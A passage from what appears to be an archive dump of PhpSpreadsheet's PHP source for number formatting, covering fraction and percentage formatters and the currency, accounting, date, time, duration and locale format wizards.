$colors[1]; $format = $sections[1]; } break; case 3: case 4: $absval = abs($value); if (!self::splitFormatComparison($value, $conditionOperations[0], $conditionComparisonValues[0], '>', 0)) { if (self::splitFormatComparison($value, $conditionOperations[1], $conditionComparisonValues[1], '<', 0)) { $color = $colors[1]; $format = $sections[1]; } else { $color = $colors[2]; $format = $sections[2]; } } break; } return [$color, $format, $absval]; } /** * Convert a value in a pre-defined format to a PHP string. * * @param null|bool|float|int|RichText|string $value Value to format * @param string $format Format code: see = self::FORMAT_* for predefined values; * or can be any valid MS Excel custom format string * @param ?array $callBack Callback function for additional formatting of string * * @return string Formatted string */ public static function toFormattedString($value, string $format, ?array $callBack = null): string { if (is_bool($value)) { return $value ? Calculation::getTRUE() : Calculation::getFALSE(); } // For now we do not treat strings in sections, although section 4 of a format code affects strings // Process a single block format code containing @ for text substitution if (preg_match(self::SECTION_SPLIT, $format) === 0 && preg_match(self::SYMBOL_AT, $format) === 1) { return str_replace('"', '', preg_replace(self::SYMBOL_AT, (string) $value, $format) ?? ''); } // If we have a text value, return it "as is" if (!is_numeric($value)) { return (string) $value; } // For 'General' format code, we just pass the value although this is not entirely the way Excel does it, // it seems to round numbers to a total of 10 digits. if (($format === NumberFormat::FORMAT_GENERAL) || ($format === NumberFormat::FORMAT_TEXT)) { return self::adjustSeparators((string) $value); } // Ignore square-$-brackets prefix in format string, like "[$-411]ge.m.d", "[$-010419]0%", etc $format = (string) preg_replace('/^\[\$-[^\]]*\]/', '', $format); $format = (string) preg_replace_callback( '/(["])(?:(?=(\\\\?))\\2.)*?\\1/u', fn (array $matches): string => str_replace('.', chr(0x00), $matches[0]), $format ); // Convert any other escaped characters to quoted strings, e.g. (\T to "T") $format = (string) preg_replace('/(\\\(((.)(?!((AM\/PM)|(A\/P))))|([^ ])))(?=(?:[^"]|"[^"]*")*$)/ui', '"${2}"', $format); // Get the sections, there can be up to four sections, separated with a semi-colon (but only if not a quoted literal) $sections = preg_split(self::SECTION_SPLIT, $format) ?: []; [$colors, $format, $value] = self::splitFormatForSectionSelection($sections, $value); // In Excel formats, "_" is used to add spacing, // The following character indicates the size of the spacing, which we can't do in HTML, so we just use a standard space $format = (string) preg_replace('/_.?/ui', ' ', $format); // Let's begin inspecting the format and converting the value to a formatted string if ( // Check for date/time characters (not inside quotes) (preg_match('/(\[\$[A-Z]*-[0-9A-F]*\])*[hmsdy](?=(?:[^"]|"[^"]*")*$)/miu', $format)) // A date/time with a decimal time shouldn't have a digit placeholder before the decimal point && (preg_match('/[0\?#]\.(?![^\[]*\])/miu', $format) === 0) ) { // datetime format $value = DateFormatter::format($value, $format); } else { if (str_starts_with($format, '"') && str_ends_with($format, '"') && substr_count($format, '"') === 2) { $value = substr($format, 1, -1); } elseif (preg_match('/[0#, ]%/', $format)) { // % number format - avoid weird '-0' problem $value = PercentageFormatter::format(0 + (float) $value, $format); } else { $value = NumberFormatter::format($value, $format); } } // Additional formatting provided by callback function if ($callBack !== null) { [$writerInstance, $function] = $callBack; $value = $writerInstance->$function($value, $colors); } return str_replace(chr(0x00), '.', $value); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/FractionFormatter.php000064400000004535151676714400025121 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; class FractionFormatter extends BaseFormatter { /** @param null|bool|float|int|string $value value to be formatted */ public static function format(mixed $value, string $format): string { $format = self::stripQuotes($format); $value = (float) $value; $absValue = abs($value); $sign = ($value < 0.0) ? '-' : ''; $integerPart = floor($absValue); $decimalPart = self::getDecimal((string) $absValue); if ($decimalPart === '0') { return "{$sign}{$integerPart}"; } $decimalLength = strlen($decimalPart); $decimalDivisor = 10 ** $decimalLength; preg_match('/(#?.*\?)\/(\?+|\d+)/', $format, $matches); $formatIntegerPart = $matches[1]; if (is_numeric($matches[2])) { $fractionDivisor = 100 / (int) $matches[2]; } else { /** @var float $fractionDivisor */ $fractionDivisor = MathTrig\Gcd::evaluate((int) $decimalPart, $decimalDivisor); } $adjustedDecimalPart = (int) round((int) $decimalPart / $fractionDivisor, 0); $adjustedDecimalDivisor = $decimalDivisor / $fractionDivisor; if ((str_contains($formatIntegerPart, '0'))) { return "{$sign}{$integerPart} {$adjustedDecimalPart}/{$adjustedDecimalDivisor}"; } elseif ((str_contains($formatIntegerPart, '#'))) { if ($integerPart == 0) { return "{$sign}{$adjustedDecimalPart}/{$adjustedDecimalDivisor}"; } return "{$sign}{$integerPart} {$adjustedDecimalPart}/{$adjustedDecimalDivisor}"; } elseif ((str_starts_with($formatIntegerPart, '? ?'))) { if ($integerPart == 0) { $integerPart = ''; } return "{$sign}{$integerPart} {$adjustedDecimalPart}/{$adjustedDecimalDivisor}"; } $adjustedDecimalPart += $integerPart * $adjustedDecimalDivisor; return "{$sign}{$adjustedDecimalPart}/{$adjustedDecimalDivisor}"; } private static function getDecimal(string $value): string { $decimalPart = '0'; if (preg_match('/^\\d*[.](\\d*[1-9])0*$/', $value, $matches) === 1) { $decimalPart = $matches[1]; } return $decimalPart; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Accounting.php000064400000010251151676714400025012 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use NumberFormatter; use PhpOffice\PhpSpreadsheet\Exception; class Accounting extends Currency { /** * @param string $currencyCode the currency symbol or code to display for this mask * @param int $decimals number of decimal places to display, in the range 0-30 * @param bool $thousandsSeparator indicator whether the thousands separator should be used, or not * @param bool $currencySymbolPosition indicates whether the currency symbol comes before or after the value * Possible values are Currency::LEADING_SYMBOL and Currency::TRAILING_SYMBOL * @param bool $currencySymbolSpacing indicates whether there is spacing between the currency symbol and the value * Possible values are Currency::SYMBOL_WITH_SPACING and Currency::SYMBOL_WITHOUT_SPACING * @param ?string $locale Set the locale for the currency format; or leave as the default null. * If provided, Locale values must be a valid formatted locale string (e.g. 'en-GB', 'fr', uz-Arab-AF). * Note that setting a locale will override any other settings defined in this class * other than the currency code; or decimals (unless the decimals value is set to 0). * * @throws Exception If a provided locale code is not a valid format */ public function __construct( string $currencyCode = '$', int $decimals = 2, bool $thousandsSeparator = true, bool $currencySymbolPosition = self::LEADING_SYMBOL, bool $currencySymbolSpacing = self::SYMBOL_WITHOUT_SPACING, ?string $locale = null, bool $stripLeadingRLM = self::DEFAULT_STRIP_LEADING_RLM ) { $this->setCurrencyCode($currencyCode); $this->setThousandsSeparator($thousandsSeparator); $this->setDecimals($decimals); $this->setCurrencySymbolPosition($currencySymbolPosition); $this->setCurrencySymbolSpacing($currencySymbolSpacing); $this->setLocale($locale); $this->stripLeadingRLM = $stripLeadingRLM; } /** * @throws Exception if the Intl extension and ICU version don't support Accounting formats */ protected function getLocaleFormat(): string { if (self::icuVersion() < 53.0) { // @codeCoverageIgnoreStart throw new Exception('The Intl extension does not support Accounting Formats without ICU 53'); // @codeCoverageIgnoreEnd } // Scrutinizer does not recognize CURRENCY_ACCOUNTING $formatter = new Locale($this->fullLocale, NumberFormatter::CURRENCY_ACCOUNTING); $mask = $formatter->format($this->stripLeadingRLM); if ($this->decimals === 0) { $mask = (string) preg_replace('/\.0+/miu', '', $mask); } return str_replace('¤', $this->formatCurrencyCode(), $mask); } public static function icuVersion(): float { [$major, $minor] = explode('.', INTL_ICU_VERSION); return (float) "{$major}.{$minor}"; } private function formatCurrencyCode(): string { if ($this->locale === null) { return $this->currencyCode . '*'; } return "[\${$this->currencyCode}-{$this->locale}]"; } public function format(): string { if ($this->localeFormat !== null) { return $this->localeFormat; } return sprintf( '_-%s%s%s0%s%s%s_-', $this->currencySymbolPosition === self::LEADING_SYMBOL ? $this->formatCurrencyCode() : null, ( $this->currencySymbolPosition === self::LEADING_SYMBOL && $this->currencySymbolSpacing === self::SYMBOL_WITH_SPACING ) ? "\u{a0}" : '', $this->thousandsSeparator ? '#,##' : null, $this->decimals > 0 ? '.' . str_repeat('0', $this->decimals) : null, ( $this->currencySymbolPosition === self::TRAILING_SYMBOL && $this->currencySymbolSpacing === self::SYMBOL_WITH_SPACING ) ? "\u{a0}" : '', $this->currencySymbolPosition === self::TRAILING_SYMBOL ? $this->formatCurrencyCode() : null ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Time.php000064400000005711151676714400023623 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; class Time extends DateTimeWizard { /** * Hours without a leading zero, e.g. 9. */ public const HOURS_SHORT = 'h'; /** * Hours with a leading zero, e.g. 09. */ public const HOURS_LONG = 'hh'; /** * Minutes without a leading zero, e.g. 5. */ public const MINUTES_SHORT = 'm'; /** * Minutes with a leading zero, e.g. 05. */ public const MINUTES_LONG = 'mm'; /** * Seconds without a leading zero, e.g. 2. */ public const SECONDS_SHORT = 's'; /** * Seconds with a leading zero, e.g. 02. */ public const SECONDS_LONG = 'ss'; public const MORNING_AFTERNOON = 'AM/PM'; protected const TIME_BLOCKS = [ self::HOURS_LONG, self::HOURS_SHORT, self::MINUTES_LONG, self::MINUTES_SHORT, self::SECONDS_LONG, self::SECONDS_SHORT, self::MORNING_AFTERNOON, ]; public const SEPARATOR_COLON = ':'; public const SEPARATOR_SPACE_NONBREAKING = "\u{a0}"; public const SEPARATOR_SPACE = ' '; protected const TIME_DEFAULT = [ self::HOURS_LONG, self::MINUTES_LONG, self::SECONDS_LONG, ]; /** * @var string[] */ protected array $separators; /** * @var string[] */ protected array $formatBlocks; /** * @param null|string|string[] $separators * If you want to use the same separator for all format blocks, then it can be passed as a string literal; * if you wish to use different separators, then they should be passed as an array. * If you want to use only a single format block, then pass a null as the separator argument */ public function __construct($separators = self::SEPARATOR_COLON, string ...$formatBlocks) { $separators ??= self::SEPARATOR_COLON; $formatBlocks = (count($formatBlocks) === 0) ? self::TIME_DEFAULT : $formatBlocks; $this->separators = $this->padSeparatorArray( is_array($separators) ? $separators : [$separators], count($formatBlocks) - 1 ); $this->formatBlocks = array_map([$this, 'mapFormatBlocks'], $formatBlocks); } private function mapFormatBlocks(string $value): string { // Any date masking codes are returned as lower case values // except for AM/PM, which is set to uppercase if (in_array(mb_strtolower($value), self::TIME_BLOCKS, true)) { return mb_strtolower($value); } elseif (mb_strtoupper($value) === self::MORNING_AFTERNOON) { return mb_strtoupper($value); } // Wrap any string literals in quotes, so that they're clearly defined as string literals return $this->wrapLiteral($value); } public function format(): string { return implode('', array_map([$this, 'intersperse'], $this->formatBlocks, $this->separators)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Scientific.php000064400000002146151676714400025004 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use PhpOffice\PhpSpreadsheet\Exception; class Scientific extends NumberBase implements Wizard { /** * @param int $decimals number of decimal places to display, in the range 0-30 * @param ?string $locale Set the locale for the scientific format; or leave as the default null. * Locale has no effect for Scientific Format values, and is retained here for compatibility * with the other Wizards. * If provided, Locale values must be a valid formatted locale string (e.g. 'en-GB', 'fr', uz-Arab-AF). * * @throws Exception If a provided locale code is not a valid format */ public function __construct(int $decimals = 2, ?string $locale = null) { $this->setDecimals($decimals); $this->setLocale($locale); } protected function getLocaleFormat(): string { return $this->format(); } public function format(): string { return sprintf('0%sE+00', $this->decimals > 0 ? '.' . str_repeat('0', $this->decimals) : null); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Percentage.php000064400000002426151676714400025002 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use NumberFormatter; use PhpOffice\PhpSpreadsheet\Exception; class Percentage extends NumberBase implements Wizard { /** * @param int $decimals number of decimal places to display, in the range 0-30 * @param ?string $locale Set the locale for the percentage format; or leave as the default null. * If provided, Locale values must be a valid formatted locale string (e.g. 'en-GB', 'fr', uz-Arab-AF). * * @throws Exception If a provided locale code is not a valid format */ public function __construct(int $decimals = 2, ?string $locale = null) { $this->setDecimals($decimals); $this->setLocale($locale); } protected function getLocaleFormat(): string { $formatter = new Locale($this->fullLocale, NumberFormatter::PERCENT); return $this->decimals > 0 ? str_replace('0', '0.' . str_repeat('0', $this->decimals), $formatter->format()) : $formatter->format(); } public function format(): string { if ($this->localeFormat !== null) { return $this->localeFormat; } return sprintf('0%s%%', $this->decimals > 0 ? '.' . str_repeat('0', $this->decimals) : null); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Number.php000064400000003637151676714400024162 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use PhpOffice\PhpSpreadsheet\Exception; class Number extends NumberBase implements Wizard { public const WITH_THOUSANDS_SEPARATOR = true; public const WITHOUT_THOUSANDS_SEPARATOR = false; protected bool $thousandsSeparator = true; /** * @param int $decimals number of decimal places to display, in the range 0-30 * @param bool $thousandsSeparator indicator whether the thousands separator should be used, or not * @param ?string $locale Set the locale for the number format; or leave as the default null. * Locale has no effect for Number Format values, and is retained here only for compatibility * with the other Wizards. * If provided, Locale values must be a valid formatted locale string (e.g. 'en-GB', 'fr', uz-Arab-AF). * * @throws Exception If a provided locale code is not a valid format */ public function __construct( int $decimals = 2, bool $thousandsSeparator = self::WITH_THOUSANDS_SEPARATOR, ?string $locale = null ) { $this->setDecimals($decimals); $this->setThousandsSeparator($thousandsSeparator); $this->setLocale($locale); } public function setThousandsSeparator(bool $thousandsSeparator = self::WITH_THOUSANDS_SEPARATOR): void { $this->thousandsSeparator = $thousandsSeparator; } /** * As MS Excel cannot easily handle Lakh, which is the only locale-specific Number format variant, * we don't use locale with Numbers. */ protected function getLocaleFormat(): string { return $this->format(); } public function format(): string { return sprintf( '%s0%s', $this->thousandsSeparator ? '#,##' : null, $this->decimals > 0 ? '.' . str_repeat('0', $this->decimals) : null ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/DateTimeWizard.php000064400000002274151676714400025603 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use Stringable; abstract class DateTimeWizard implements Stringable, Wizard { protected const NO_ESCAPING_NEEDED = "$+-/():!^&'~{}<>= "; protected function padSeparatorArray(array $separators, int $count): array { $lastSeparator = array_pop($separators); return $separators + array_fill(0, $count, $lastSeparator); } protected function escapeSingleCharacter(string $value): string { if (str_contains(self::NO_ESCAPING_NEEDED, $value)) { return $value; } return "\\{$value}"; } protected function wrapLiteral(string $value): string { if (mb_strlen($value, 'UTF-8') === 1) { return $this->escapeSingleCharacter($value); } // Wrap any other string literals in quotes, so that they're clearly defined as string literals return '"' . str_replace('"', '""', $value) . '"'; } protected function intersperse(string $formatBlock, ?string $separator): string { return "{$formatBlock}{$separator}"; } public function __toString(): string { return $this->format(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Currency.php000064400000011415151676714400024515 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use NumberFormatter; use PhpOffice\PhpSpreadsheet\Exception; class Currency extends Number { public const LEADING_SYMBOL = true; public const TRAILING_SYMBOL = false; public const SYMBOL_WITH_SPACING = true; public const SYMBOL_WITHOUT_SPACING = false; protected string $currencyCode = '$'; protected bool $currencySymbolPosition = self::LEADING_SYMBOL; protected bool $currencySymbolSpacing = self::SYMBOL_WITHOUT_SPACING; protected const DEFAULT_STRIP_LEADING_RLM = false; protected bool $stripLeadingRLM = self::DEFAULT_STRIP_LEADING_RLM; /** * @param string $currencyCode the currency symbol or code to display for this mask * @param int $decimals number of decimal places to display, in the range 0-30 * @param bool $thousandsSeparator indicator whether the thousands separator should be used, or not * @param bool $currencySymbolPosition indicates whether the currency symbol comes before or after the value * Possible values are Currency::LEADING_SYMBOL and Currency::TRAILING_SYMBOL * @param bool $currencySymbolSpacing indicates whether there is spacing between the currency symbol and the value * Possible values are Currency::SYMBOL_WITH_SPACING and Currency::SYMBOL_WITHOUT_SPACING * @param ?string $locale Set the locale for the currency format; or leave as the default null. * If provided, Locale values must be a valid formatted locale string (e.g. 'en-GB', 'fr', uz-Arab-AF). * Note that setting a locale will override any other settings defined in this class * other than the currency code; or decimals (unless the decimals value is set to 0). * @param bool $stripLeadingRLM remove leading RLM added with * ICU 72.1+. * * @throws Exception If a provided locale code is not a valid format */ public function __construct( string $currencyCode = '$', int $decimals = 2, bool $thousandsSeparator = true, bool $currencySymbolPosition = self::LEADING_SYMBOL, bool $currencySymbolSpacing = self::SYMBOL_WITHOUT_SPACING, ?string $locale = null, bool $stripLeadingRLM = self::DEFAULT_STRIP_LEADING_RLM ) { $this->setCurrencyCode($currencyCode); $this->setThousandsSeparator($thousandsSeparator); $this->setDecimals($decimals); $this->setCurrencySymbolPosition($currencySymbolPosition); $this->setCurrencySymbolSpacing($currencySymbolSpacing); $this->setLocale($locale); $this->stripLeadingRLM = $stripLeadingRLM; } public function setCurrencyCode(string $currencyCode): void { $this->currencyCode = $currencyCode; } public function setCurrencySymbolPosition(bool $currencySymbolPosition = self::LEADING_SYMBOL): void { $this->currencySymbolPosition = $currencySymbolPosition; } public function setCurrencySymbolSpacing(bool $currencySymbolSpacing = self::SYMBOL_WITHOUT_SPACING): void { $this->currencySymbolSpacing = $currencySymbolSpacing; } public function setStripLeadingRLM(bool $stripLeadingRLM): void { $this->stripLeadingRLM = $stripLeadingRLM; } protected function getLocaleFormat(): string { $formatter = new Locale($this->fullLocale, NumberFormatter::CURRENCY); $mask = $formatter->format($this->stripLeadingRLM); if ($this->decimals === 0) { $mask = (string) preg_replace('/\.0+/miu', '', $mask); } return str_replace('¤', $this->formatCurrencyCode(), $mask); } private function formatCurrencyCode(): string { if ($this->locale === null) { return $this->currencyCode; } return "[\${$this->currencyCode}-{$this->locale}]"; } public function format(): string { if ($this->localeFormat !== null) { return $this->localeFormat; } return sprintf( '%s%s%s0%s%s%s', $this->currencySymbolPosition === self::LEADING_SYMBOL ? $this->formatCurrencyCode() : null, ( $this->currencySymbolPosition === self::LEADING_SYMBOL && $this->currencySymbolSpacing === self::SYMBOL_WITH_SPACING ) ? "\u{a0}" : '', $this->thousandsSeparator ? '#,##' : null, $this->decimals > 0 ? '.' . str_repeat('0', $this->decimals) : null, ( $this->currencySymbolPosition === self::TRAILING_SYMBOL && $this->currencySymbolSpacing === self::SYMBOL_WITH_SPACING ) ? "\u{a0}" : '', $this->currencySymbolPosition === self::TRAILING_SYMBOL ? $this->formatCurrencyCode() : null ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Date.php000064400000006704151676714400023605 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; class Date extends DateTimeWizard { /** * Year (4 digits), e.g. 2023. */ public const YEAR_FULL = 'yyyy'; /** * Year (last 2 digits), e.g. 23. */ public const YEAR_SHORT = 'yy'; public const MONTH_FIRST_LETTER = 'mmmmm'; /** * Month name, long form, e.g. January. */ public const MONTH_NAME_FULL = 'mmmm'; /** * Month name, short form, e.g. Jan. */ public const MONTH_NAME_SHORT = 'mmm'; /** * Month number with a leading zero if required, e.g. 01. */ public const MONTH_NUMBER_LONG = 'mm'; /** * Month number without a leading zero, e.g. 1. */ public const MONTH_NUMBER_SHORT = 'm'; /** * Day of the week, full form, e.g. Tuesday. */ public const WEEKDAY_NAME_LONG = 'dddd'; /** * Day of the week, short form, e.g. Tue. */ public const WEEKDAY_NAME_SHORT = 'ddd'; /** * Day number with a leading zero, e.g. 03. */ public const DAY_NUMBER_LONG = 'dd'; /** * Day number without a leading zero, e.g. 3. */ public const DAY_NUMBER_SHORT = 'd'; protected const DATE_BLOCKS = [ self::YEAR_FULL, self::YEAR_SHORT, self::MONTH_FIRST_LETTER, self::MONTH_NAME_FULL, self::MONTH_NAME_SHORT, self::MONTH_NUMBER_LONG, self::MONTH_NUMBER_SHORT, self::WEEKDAY_NAME_LONG, self::WEEKDAY_NAME_SHORT, self::DAY_NUMBER_LONG, self::DAY_NUMBER_SHORT, ]; public const SEPARATOR_DASH = '-'; public const SEPARATOR_DOT = '.'; public const SEPARATOR_SLASH = '/'; public const SEPARATOR_SPACE_NONBREAKING = "\u{a0}"; public const SEPARATOR_SPACE = ' '; protected const DATE_DEFAULT = [ self::YEAR_FULL, self::MONTH_NUMBER_LONG, self::DAY_NUMBER_LONG, ]; /** * @var string[] */ protected array $separators; /** * @var string[] */ protected array $formatBlocks; /** * @param null|string|string[] $separators * If you want to use the same separator for all format blocks, then it can be passed as a string literal; * if you wish to use different separators, then they should be passed as an array. * If you want to use only a single format block, then pass a null as the separator argument */ public function __construct($separators = self::SEPARATOR_DASH, string ...$formatBlocks) { $separators ??= self::SEPARATOR_DASH; $formatBlocks = (count($formatBlocks) === 0) ? self::DATE_DEFAULT : $formatBlocks; $this->separators = $this->padSeparatorArray( is_array($separators) ? $separators : [$separators], count($formatBlocks) - 1 ); $this->formatBlocks = array_map([$this, 'mapFormatBlocks'], $formatBlocks); } private function mapFormatBlocks(string $value): string { // Any date masking codes are returned as lower case values if (in_array(mb_strtolower($value), self::DATE_BLOCKS, true)) { return mb_strtolower($value); } // Wrap any string literals in quotes, so that they're clearly defined as string literals return $this->wrapLiteral($value); } public function format(): string { return implode('', array_map([$this, 'intersperse'], $this->formatBlocks, $this->separators)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Locale.php000064400000002302151676714400024115 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use NumberFormatter; use PhpOffice\PhpSpreadsheet\Exception; final class Locale { /** * Language code: ISO-639 2 character, alpha. * Optional script code: ISO-15924 4 alpha. * Optional country code: ISO-3166-1, 2 character alpha. * Separated by underscores or dashes. */ public const STRUCTURE = '/^(?P<language>[a-z]{2})([-_](?P<script>[a-z]{4}))?([-_](?P<country>[a-z]{2}))?$/i'; private NumberFormatter $formatter; public function __construct(?string $locale, int $style) { if (class_exists(NumberFormatter::class) === false) { throw new Exception(); } $formatterLocale = str_replace('-', '_', $locale ?? ''); $this->formatter = new NumberFormatter($formatterLocale, $style); if ($this->formatter->getLocale() !== $formatterLocale) { throw new Exception("Unable to read locale data for '{$locale}'"); } } public function format(bool $stripRlm = true): string { $str = $this->formatter->getPattern(); return ($stripRlm && str_starts_with($str, "\xe2\x80\x8f")) ? substr($str, 3) : $str; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Wizard.php000064400000000201151676714400024152 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; interface Wizard { public function format(): string; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/DateTime.php000064400000002611151676714400024415 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; class DateTime extends DateTimeWizard { /** * @var string[] */ protected array $separators; /** * @var array<DateTimeWizard|string> */ protected array $formatBlocks; /** * @param null|string|string[] $separators * If you want to use only a single format block, then pass a null as the separator argument * @param DateTimeWizard|string ...$formatBlocks */ public function __construct($separators, ...$formatBlocks) { $this->separators = $this->padSeparatorArray( is_array($separators) ? $separators : [$separators], count($formatBlocks) - 1 ); $this->formatBlocks = array_map([$this, 'mapFormatBlocks'], $formatBlocks); } private function mapFormatBlocks(DateTimeWizard|string $value): string { // Any date masking codes are returned as lower case values if (is_object($value)) { // We can't explicitly test for Stringable until PHP >= 8.0 return $value; } // Wrap any string literals in quotes, so that they're clearly defined as string literals return $this->wrapLiteral($value); } public function format(): string { return implode('', array_map([$this, 'intersperse'], $this->formatBlocks, $this->separators)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/Duration.php000064400000011177151676714400024515 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; class Duration extends DateTimeWizard { public const DAYS_DURATION = 'd'; /** * Hours as a duration (can exceed 24), e.g. 29. */ public const HOURS_DURATION = '[h]'; /** * Hours without a leading zero, e.g. 9. */ public const HOURS_SHORT = 'h'; /** * Hours with a leading zero, e.g. 09. */ public const HOURS_LONG = 'hh'; /** * Minutes as a duration (can exceed 60), e.g. 109. */ public const MINUTES_DURATION = '[m]'; /** * Minutes without a leading zero, e.g. 5. */ public const MINUTES_SHORT = 'm'; /** * Minutes with a leading zero, e.g. 05. */ public const MINUTES_LONG = 'mm'; /** * Seconds as a duration (can exceed 60), e.g. 129. */ public const SECONDS_DURATION = '[s]'; /** * Seconds without a leading zero, e.g. 2. */ public const SECONDS_SHORT = 's'; /** * Seconds with a leading zero, e.g. 02. */ public const SECONDS_LONG = 'ss'; protected const DURATION_BLOCKS = [ self::DAYS_DURATION, self::HOURS_DURATION, self::HOURS_LONG, self::HOURS_SHORT, self::MINUTES_DURATION, self::MINUTES_LONG, self::MINUTES_SHORT, self::SECONDS_DURATION, self::SECONDS_LONG, self::SECONDS_SHORT, ]; protected const DURATION_MASKS = [ self::DAYS_DURATION => self::DAYS_DURATION, self::HOURS_DURATION => self::HOURS_SHORT, self::MINUTES_DURATION => self::MINUTES_LONG, self::SECONDS_DURATION => self::SECONDS_LONG, ]; protected const DURATION_DEFAULTS = [ self::HOURS_LONG => self::HOURS_DURATION, self::HOURS_SHORT => self::HOURS_DURATION, self::MINUTES_LONG => self::MINUTES_DURATION, self::MINUTES_SHORT => self::MINUTES_DURATION, self::SECONDS_LONG => self::SECONDS_DURATION, self::SECONDS_SHORT => self::SECONDS_DURATION, ]; public const SEPARATOR_COLON = ':'; public const SEPARATOR_SPACE_NONBREAKING = "\u{a0}"; public const SEPARATOR_SPACE = ' '; public const DURATION_DEFAULT = [ self::HOURS_DURATION, self::MINUTES_LONG, self::SECONDS_LONG, ]; /** * @var string[] */ protected array $separators; /** * @var string[] */ protected array $formatBlocks; protected bool $durationIsSet = false; /** * @param null|string|string[] $separators * If you want to use the same separator for all format blocks, then it can be passed as a string literal; * if you wish to use different separators, then they should be passed as an array. * If you want to use only a single format block, then pass a null as the separator argument */ public function __construct($separators = self::SEPARATOR_COLON, string ...$formatBlocks) { $separators ??= self::SEPARATOR_COLON; $formatBlocks = (count($formatBlocks) === 0) ? self::DURATION_DEFAULT : $formatBlocks; $this->separators = $this->padSeparatorArray( is_array($separators) ? $separators : [$separators], count($formatBlocks) - 1 ); $this->formatBlocks = array_map([$this, 'mapFormatBlocks'], $formatBlocks); if ($this->durationIsSet === false) { // We need at least one duration mask, so if none has been set we change the first mask element // to a duration. $this->formatBlocks[0] = self::DURATION_DEFAULTS[mb_strtolower($this->formatBlocks[0])]; } } private function mapFormatBlocks(string $value): string { // Any duration masking codes are returned as lower case values if (in_array(mb_strtolower($value), self::DURATION_BLOCKS, true)) { if (array_key_exists(mb_strtolower($value), self::DURATION_MASKS)) { if ($this->durationIsSet) { // We should only have a single duration mask, the first defined in the mask set, // so convert any additional duration masks to standard time masks. $value = self::DURATION_MASKS[mb_strtolower($value)]; } $this->durationIsSet = true; } return mb_strtolower($value); } // Wrap any string literals in quotes, so that they're clearly defined as string literals return $this->wrapLiteral($value); } public function format(): string { return implode('', array_map([$this, 'intersperse'], $this->formatBlocks, $this->separators)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Wizard/NumberBase.php000064400000004461151676714400024751 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat\Wizard; use NumberFormatter; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use Stringable; abstract class NumberBase implements Stringable { protected const MAX_DECIMALS = 30; protected int $decimals = 2; protected ?string $locale = null; protected ?string $fullLocale = null; protected ?string $localeFormat = null; public function setDecimals(int $decimals = 2): void { $this->decimals = ($decimals > self::MAX_DECIMALS) ? self::MAX_DECIMALS : max($decimals, 0); } /** * Setting a locale will override any settings defined in this class. * * @throws Exception If the locale code is not a valid format */ public function setLocale(?string $locale = null): void { if ($locale === null) { $this->localeFormat = $this->locale = $this->fullLocale = null; return; } $this->locale = $this->validateLocale($locale); if (class_exists(NumberFormatter::class)) { $this->localeFormat = $this->getLocaleFormat(); } } /** * Stub: should be implemented as a concrete method in concrete wizards. */ abstract protected function getLocaleFormat(): string; /** * @throws Exception If the locale code is not a valid format */ private function validateLocale(string $locale): string { if (preg_match(Locale::STRUCTURE, $locale, $matches, PREG_UNMATCHED_AS_NULL) !== 1) { throw new Exception("Invalid locale code '{$locale}'"); } ['language' => $language, 'script' => $script, 'country' => $country] = $matches; // Set case and separator to match standardised locale case $language = strtolower($language ?? ''); $script = ($script === null) ? null : ucfirst(strtolower($script)); $country = ($country === null) ? null : strtoupper($country); $this->fullLocale = implode('-', array_filter([$language, $script, $country])); return $country === null ? $language : "{$language}-{$country}"; } public function format(): string { return NumberFormat::FORMAT_GENERAL; } public function __toString(): string { return $this->format(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/PercentageFormatter.php000064400000003463151676714400025430 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class PercentageFormatter extends BaseFormatter { /** @param float|int $value */ public static function format($value, string $format): string { if ($format === NumberFormat::FORMAT_PERCENTAGE) { return round((100 * $value), 0) . '%'; } $value *= 100; $format = self::stripQuotes($format); [, $vDecimals] = explode('.', ((string) $value) . '.'); $vDecimalCount = strlen(rtrim($vDecimals, '0')); $format = str_replace('%', '%%', $format); $wholePartSize = strlen((string) floor(abs($value))); $decimalPartSize = 0; $placeHolders = ''; // Number of decimals if (preg_match('/\.([?0]+)/u', 